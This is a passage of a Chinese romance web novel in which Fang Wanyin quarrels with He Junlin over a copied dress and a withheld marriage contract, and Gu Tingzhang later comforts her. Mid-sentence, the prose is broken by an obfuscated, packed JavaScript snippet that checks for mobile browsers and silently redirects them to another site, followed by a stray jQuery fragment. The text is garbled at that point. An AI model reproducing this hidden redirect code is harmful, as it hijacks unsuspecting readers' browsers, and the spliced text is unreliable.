贺均麟辩解着说:“琬音,我知道你现在还在气头上,可我还是要跟你解释我的心意,我还是想告诉你,这裙子,从一开始就是你的东西。”
方琬音绕过他,打算离开,却又突然想起了什么,又转过身来。
“贺均麟,你说,这裙子是你对我的心意,你说你不知道孙黎菲的小动作,可我怎么觉得,你今晚有些得意呢,得意竟然有一个傻女孩愿意为你争风吃醋到这个份上!”
面对着方琬音的质问,贺均麟只沉默着不说话。
“那设计图是放在你的办公桌上的,有没有被人动过,你会不知道?我以前竟不知道你是这么粗心大意的人,我想你应该有所察觉吧,只是不知道她到底拿这裙子做什么,或者说,你是在赌,在不远处当一个事不关己的看客。如果她没有打算今天穿这条裙子,你则成功地讨好了我,你的目的顺理成章便达到了;倘若她打算在今晚穿这条裙子,那对你来说也不错,虽然我会承受别人的目光与流言,但你成功地看到了两个女孩为你争奇斗艳,为了讨好你,连衣服都要穿一样的。顺便再看看我会不会因此吃醋,会不会因此回心转意,然后继续跟孙黎菲一起争夺你的宠爱,贺小公子,你一定很爽吧。”
方琬音字字珠玑:“你说你受到了孙黎菲的算计,你还算个男人吗?你以为你将一切事情都推到女孩子身上,就可以装作无辜地当你的受害者吗?你明明知道事情可能会有这种走向,却还是眼睁睁看这一切发生了,然后再到我面前将自己摘得干干净净。”
“不过你有一句话说对了,贺均麟,我现在的确更讨厌你了。”
“琬音——”
方琬音再度欲走,贺均麟却又叫住了她。
他再次提醒她:“你这么聪明,应该还记得吧,婚书依旧在我的手上,带有你名字的婚书。”他强调着说。
方琬音这才想起来,她刚刚满心满眼都是杏子的卖身契,都快忘了自己的“卖身契”还在贺家呢。
“那你就赶紧还给我啊!你拿着那东西有什么用。”
“不行。”贺均麟展示了他的无赖。
“可是刚刚贺爷爷已经答应我退婚了。”
贺均麟歪了一下头:“那又如何?”
“如何?你这是何意?你不会连你祖父的意思也要忤逆吧。”
“这个你不用担心,我会告诉我爷爷的,婚书已经还给你了。”
“你……”方琬音被他气得说不出话来了。
她懂了,贺均麟这是想瞒天过海,对贺维生有着另一套说辞,他就说他还了,谁也拿他没办法。
“除非你能再次跑到我爷爷面前,告诉他我说谎了。”
贺均麟看了一眼自己手腕上进口的钻石腕表,胸有成竹说:“对了,忘了告诉你,我爷爷年事已高,这个时间,他刚才见过你之后,现下应该已经准备休息了,如果你非要这个时候打扰他的话,请便。”
贺均麟是料定了以方琬音的为人,她不会如此无礼,在不合时宜的时候打扰长辈的。
“过了今晚,你想要再找到我爷爷向他说明实情也没有机会了,他不会知道我还没还婚书的,到最后,他只会觉得你是回心转意了。”
“贺均麟,你真是个疯子!”
“随你怎么骂,琬音,别抗争了,我是为你的名节考虑,乖乖听话,乖乖嫁给我。”
方琬音整个人傻眼了,她没有想到贺均麟会是这个态度,连自己祖父都要骗,就为了娶她。
方琬音只好软了声音,换了口吻求他:“均麟,算我求你了,你还给我吧,放过我,可以吗?看在我们曾经是未婚夫妻的份上,又是从小认识。”
方琬音只盼着能激起他的恻隐之心。
贺均麟看着方琬音浸着泪水的眼眸,他也许有那么一瞬间的动容,可这份动容又很快被他压下去了。
他摇摇头,表示拒绝。
方琬音失望透顶,她不想跟他就这么耗下去了,她手上还拿着杏子的卖身契呢,她不再理贺均麟,朝着杏子的方向跑远了。
她将那卖身契交到了杏子手上,叫她赶紧收拾东西,最好今晚就能带着她离开贺家,避免夜长梦多。
杏子愣了许久,有些不敢相信一向命苦的自己会如此幸运,她觉得方琬音简直是观音菩萨在世,她闻到了自由的味道。
她随即反应过来,感动的涕泗横流,对方琬音连连道谢,然后急忙跑回了佣人们的房间,收拾包袱。
方琬音站在原地,她有些累,便坐到了花园里的长椅上,静静待着,她不想回厅里去了,那里吵得很。
四周安静了下来,方琬音才回味着贺均麟刚刚无赖的话,心中的委屈顿时一拥而上,蔓延至四肢百骸。
顾廷璋今晚一直在关注着方琬音的动向,见她落了单,这才鼓足勇气凑到她跟前来,一探究竟。
方琬音察觉到旁边有脚步声,以为又是贺均麟来了,刚想骂人,一抬头,发现她差点就认错人了。
来人是顾廷璋,刚刚跟她“初次见面”的顾少帅。
他手上拿着一个东西,像是衣物。
花园里有些暗,可顾廷璋还是看出来了,她哭了,而且哭得很惨烈,脸上全是泪痕,叫人心软软。
刚才她跟贺均麟说话的时候,他就在角落里偷看。
方琬音顶着红红的眼睛问:“顾少帅,你来做什么?抱歉,我不希望别人打扰。”
顾廷璋伸出拿着披肩的那只手:“方小姐,你的衣服,需不需要遮一下?”
虽然寿宴已经过半了,不过亡羊补牢,为时未晚,至少可以安慰一下她的小心灵。
听到顾廷璋关切地又提起了衣服的事情,方琬音想起了刚刚贺均麟一切的无赖行径,更委屈了。
她没管是否无礼,接过他手上的披肩,用披肩捂着脸,大哭起来,一直哭,一直哭。
“哎,方小姐,这是披肩,这不是抹布……”还是一件很名贵的披肩。
他的声音戛然而止,见方琬音哭得如
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14573118|154639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
此伤心,他又心疼了些,没有再说什么,亦没有制止她的行为。
直到方琬音的眼泪尽数浸湿那件名贵的披肩。
方琬音边哭边说着:“什么披肩!什么衣服!你们男人都是混蛋!贺均麟他就是个大混蛋!他是地痞流氓!他……呜呜呜……”
这些就是她一个小姑娘能想到的最“脏”的词了。
方琬音觉得不解气,一口气骂了贺均麟十几句。
“哎,方小姐,你骂贺小公子,可别连我也骂进去了。”
“他全都告诉我了!这衣服是他送的!孙黎菲是为了讨好他才去定制的衣服,都是因为他,害得我撞衫,我成了一个彻头彻尾的笑话,你是不是也要来笑话我?呜呜呜……”
顾廷璋不知道怎么对待哭泣的方琬音,他视线游离着说:“方小姐,你这简直是欲加之罪,我哪里笑话你了。”我分明是喜欢你。
方琬音依旧抹着眼泪,将头从披肩上抬起来:“是我傻,明明前几天看到了孙黎菲定制这条裙子,当我母亲拿在手里的时候,我明明察觉到了不对劲,可是还是没有拒绝,还是穿上了,如果我当时敏感一些,就不会穿错衣服,就不会发生这样的事了!”
顾廷璋的沉了声音说:“方小姐,你是豁达之人,刚才还对着贺小公子伶牙俐齿呢,我看你的思路挺清晰的啊。”
他顿了顿,再说:“似你这么洒脱的人,何必拿别人的过错惩罚自己呢。”
多不值。
“还有婚书,贺均麟就是不还给我,我该怎么办啊……他就是个流氓无赖!”
顾廷璋的眼底晦暗不明,他的手微微握拳。
方琬音哭累了,这才回过神来,看着被自己哭湿的披肩,怯声道歉:“对不起啊,我把你的披肩哭湿了。”
“方小姐,你要是不介意的话,还是可以将它披在身上,不过可能会有些冷。”
她终于不哭了,否则,他都不知道该怎么办了。
顾廷璋也是才知道,原来也有女人的眼泪不会让他心烦,而是心疼。
方琬音想起了怀嘉的话,感觉这好像是怀嘉口中的那个没带的披肩,如果是顾廷璋的,她可能也不好意思接受。
方琬音才不怕冷,将那披肩摊开,绕到自己身后,双手往里一拉,像蜗牛缩进壳里那样,将自己包得圆滚滚的,好像她如今全部的安全感都来自于这件披肩。
来自于顾廷璋。
把自己包成粽子的方琬音别提多可爱了,顾廷璋感觉自己的心都要化掉了,他似笑非笑注视着她,想要将她的每一个微表情都捕捉进自己心里。
“方小姐,披肩不是这么披的。”
“你管我,我乐意怎么披就怎么披。”
方琬音还在气头上,也不怎么注意措辞。
“方小姐竟然还有如此刁蛮的一面,有点像顾公馆门外经常徘徊的那只野狸猫。”
顾廷璋没告诉方琬音的是,那只母的野狸猫每次见了他都要翻肚皮,要他抱。